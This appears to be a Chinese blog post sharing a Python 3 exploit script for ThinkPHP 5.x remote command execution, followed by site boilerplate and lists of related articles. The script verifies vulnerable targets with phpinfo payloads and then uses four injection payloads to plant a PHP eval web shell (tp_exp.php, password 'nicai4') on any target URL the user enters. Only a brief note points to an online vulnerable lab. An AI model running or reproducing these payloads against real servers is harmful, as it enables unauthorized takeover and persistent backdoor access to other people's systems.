python3编写ThinkPHP命令执行Getshell的方法


Posted in Python onFebruary 26, 2019

加了三个验证漏洞以及四个getshell方法

# /usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: Morker
# @Email: [email]admin@nsf.me[/email]
# @Blog:  [url]http://nsf.me/[/url]
 
import requests
import sys
 
def demo():
  print(' _______ _   _    _  _____ _  _ _____ ')
  print(' |__  __| |  (_)   | | | __ \| | | | __ \ ')
  print('  | | | |__ _ _ __ | | _| |__) | |__| | |__) |')
  print('''  | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''')
  print('  | | | | | | | | | |  <| |  | | | | |   ')
  print('  |_| |_| |_|_|_| |_|_|\_\_|  |_| |_|_|   ')
  print()
  print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')
  print('\tRemote command execution exploit.')
  print('\tVulnerability verification and getshell.')
  print('\tTarget: http://target/public')
  print()
class ThinkPHP():
  def __init__(self,web):
    self.web = web
    self.headers = {
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0",
    "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding" : "gzip, deflate",
    "Content-Type" : "application/x-www-form-urlencoded",
    "Connection" : "keep-alive"
    }
 
  def verification(self):
    i = 0
    s = 0
    verifications = ['/?s=index/\\think\Request/input&filter=phpinfo&data=1','/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1']
    while True:
      if i == len(verifications):
        break
      else:
        url = self.web + verifications[i]
        req = requests.get(url=url,headers=self.headers)
        if 'phpinfo()' in req.text:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] There are vulnerabilities.")
      print()
      toshell = input("[*] Getshell? (y/n):")
      if toshell == 'y':
        self.getshell()
      elif toshell == 'n':
        sys.exit()
      else:
        sys.exit()
    else:
      print("[-] There are no vulnerabilities.")
 
  def getshell(self):
    getshells = [
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=<?php @eval($_POST[nicai4]); ?>',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[nicai4]);%20?>%27%20>>%20tp_exp.php',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval($_POST[nicai4]);%20?^>%20>>tp_exp.php',
    '?s=index/\\think\\template\driver\\file/write&cacheFile=tp_exp.php&content=<?php%20eval($_POST[nicai4]);?>']
    shell = self.web + '/tp_exp.php'
    i = 0
    s = 0
    while True:
      if i == len(getshells):
        break
      else:
        url = self.web + getshells[i]
        req = requests.get(url=url,headers=self.headers)
        req_shell = requests.get(url=shell,headers=self.headers)
        if req_shell.status_code == 200:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] WebShell :%s PassWord :nicai4" % shell)
    else:
      print("[-] The vulnerability does not exist or exists waf.")
 
def main():
  demo()
  url = input("[*] Please input your target: ")
  run = ThinkPHP(url)
  run.verification()
 
if __name__ == '__main__':
  main()

注:图中的测试网址为在线漏洞环境,可自己去在线搭建测试。

环境地址:https://www.vsplate.com/

效果图:

python3编写ThinkPHP命令执行Getshell的方法

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python基于multiprocessing的多进程创建方法
Jun 04 Python
基于python的Tkinter编写登陆注册界面
Jun 30 Python
python 设置文件编码格式的实现方法
Dec 21 Python
python查询mysql,返回json的实例
Mar 26 Python
python去除文件中重复的行实例
Jun 29 Python
[原创]Python入门教程2. 字符串基本操作【运算、格式化输出、常用函数】
Oct 29 Python
Python关于excel和shp的使用在matplotlib
Jan 03 Python
解决django同步数据库的时候app models表没有成功创建的问题
Aug 09 Python
Django框架ORM数据库操作实例详解
Nov 07 Python
基于numpy中的expand_dims函数用法
Dec 18 Python
Pytorch 之修改Tensor部分值方式
Dec 27 Python
使用anaconda安装pytorch的实现步骤
Sep 03 Python
初探利用Python进行图文识别(OCR)
Feb 26 #Python
Python编写合并字典并实现敏感目录的小脚本
Feb 26 #Python
Python实现监控Nginx配置文件的不同并发送邮件报警功能示例
Feb 26 #Python
利用python实现对web服务器的目录探测的方法
Feb 26 #Python
python selenium 弹出框处理的实现
Feb 26 #Python
python实现学员管理系统
Feb 26 #Python
python实现电子产品商店
Feb 26 #Python
You might like
来自PHP.NET的入门教程
2006/10/09 PHP
php $_SERVER[&quot;REQUEST_URI&quot;]获取值的通用解决方法
2010/06/21 PHP
JavaScript实现删除电脑的关机键
2016/07/26 PHP
Js 弹出框口并返回值的两种常用方法
2010/12/30 Javascript
jQuery选择器全面总结
2014/01/06 Javascript
javascript中Array数组的迭代方法实例分析
2015/02/04 Javascript
Javascript实现商品秒杀倒计时(时间与服务器时间同步)
2015/09/16 Javascript
jQuery Validate验证框架经典大全
2015/09/23 Javascript
Javascript技术栈中的四种依赖注入小结
2016/02/27 Javascript
微信开发 消息推送实现代码
2016/10/21 Javascript
jQuery 获取select选中值及清除选中状态
2016/12/13 Javascript
js通过指定下标或指定元素进行删除数组的实例
2017/01/12 Javascript
微信小程序自定义toast组件的方法详解【含动画】
2019/05/11 Javascript
Vue 实现html中根据类型显示内容
2019/10/28 Javascript
小程序接口的promise化的实现方法
2019/12/11 Javascript
Vue实现图书管理小案例
2020/12/03 Vue.js
python实现简单温度转换的方法
2015/03/13 Python
Python字符串拼接、截取及替换方法总结分析
2016/04/13 Python
利用Python校准本地时间的方法教程
2019/10/31 Python
基于YUV 数据格式详解及python实现方式
2019/12/09 Python
快速查找Python安装路径方法
2020/02/06 Python
python十进制转二进制的详解
2020/02/07 Python
基于SpringBoot构造器注入循环依赖及解决方式
2020/04/26 Python
python speech模块的使用方法
2020/09/09 Python
Python求区间正整数内所有素数之和的方法实例
2020/10/13 Python
CSS3中引入多种自定义字体font-face
2020/06/12 HTML / CSS
如何在网站上添加谷歌定位信息
2016/04/16 HTML / CSS
德国隐形眼镜店:LuckyLens
2018/07/29 全球购物
美国在线打印网站:Overnight Prints
2018/10/11 全球购物
FC-Moto英国:欧洲最大的摩托车服装和头盔商店之一
2019/08/25 全球购物
NICKIS.com荷兰:设计师儿童时装
2020/01/08 全球购物
高分子材料与工程专业推荐信
2013/12/01 职场文书
打架检讨书100字
2014/01/08 职场文书
公司股权转让协议书
2014/04/12 职场文书
竞聘上岗演讲稿
2014/05/16 职场文书
公文写作:工伤事故分析报告怎么写?
2019/11/05 职场文书